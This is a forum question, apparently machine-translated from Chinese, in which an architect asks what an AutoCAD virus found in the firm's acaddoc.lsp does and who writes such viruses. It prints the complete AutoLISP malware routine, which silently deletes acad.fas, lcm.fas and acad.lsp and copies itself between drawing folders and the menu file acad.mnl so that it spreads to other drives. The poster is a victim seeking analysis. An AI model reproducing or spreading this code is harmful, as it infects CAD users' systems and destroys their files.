我的公司受到了 AutoCAD 病毒的攻击,该病毒正在删除并用acaddoc.lsp
下面的例程替换我们的。
我是一名建筑师,不完全确定重复的“查找”和“删除”在做什么。
问题
- 这是用(当前正在搜索
acadapq
)替换文件是什么? - 谁为 AutoCAD 编写病毒?!?!
有没有人见过这个?CAD论坛不是很有帮助。
(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))
(setq n 0)
(while (< n 1)
(if (findfile "acad.fas")
(if (vl-file-delete (findfile "acad.fas"))
(setq n 0))
(setq n 2)))
(setq n 0)
(while (< n 1)
(if (findfile "lcm.fas")
(if (vl-file-delete (findfile "lcm.fas"))
(setq n 0))
(setq n 2)))
(setq n 0)
(while (< n 1)
(if (findfile "acad.lsp")
(if (vl-file-delete (findfile "acad.lsp"))
(setq n 0))
(setq n 2)))
(defun wwriteapp ()
(if (setq wwjm1 (open wnewacad "w"))
(progn
(setq wwjm (open woldacad "r"))
(while (setq wwz (read-line wwjm))
(write-line wwz wwjm1))
(close wwjm)
(close wwjm1))))
(setq lbz 0)
(setq wwjqm (strcat dpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
(progn
(repeat 3 (read-line wwjm))
(setq wz (read-line wwjm))
(setq ab (atoi (substr wz 4 1)))
(close wwjm)
(if (> ab bb)
(setq lbz 1))))
(setq wwjqm (strcat wpath "acad.mnl"))
(if (setq wwjm (open wwjqm "r"))
(progn
(repeat 3 (read-line wwjm))
(setq wz (read-line wwjm))
(setq nb (atoi (substr wz 4 1)))
(close wwjm)
(if (< nb bb)
(setq lbz 1)))
(setq lbz 1))
(if (= lbz 1)
(progn
(setq woldacad (strcat dpath "acaddoc.lsp"))
(setq wnewacad (strcat wpath "acad.mnl"))
(wwriteapp)))
(if (and (/= (substr dpath 1 1) (chr 67))
(/= (substr dpath 1 1) (chr 68))
(/= (substr dpath 1 1) (chr 69))
(/= (substr dpath 1 1) (chr 70)))
(progn
(setq woldacad (strcat wpath "acad.mnl"))
(setq wnewacad (strcat dpath "acaddoc.lsp"))
(wwriteapp))
(vl-file-delete (strcat dpath "acaddoc.lsp")))
;load "acadapq")
(setvar "cmdecho" wold_cmd)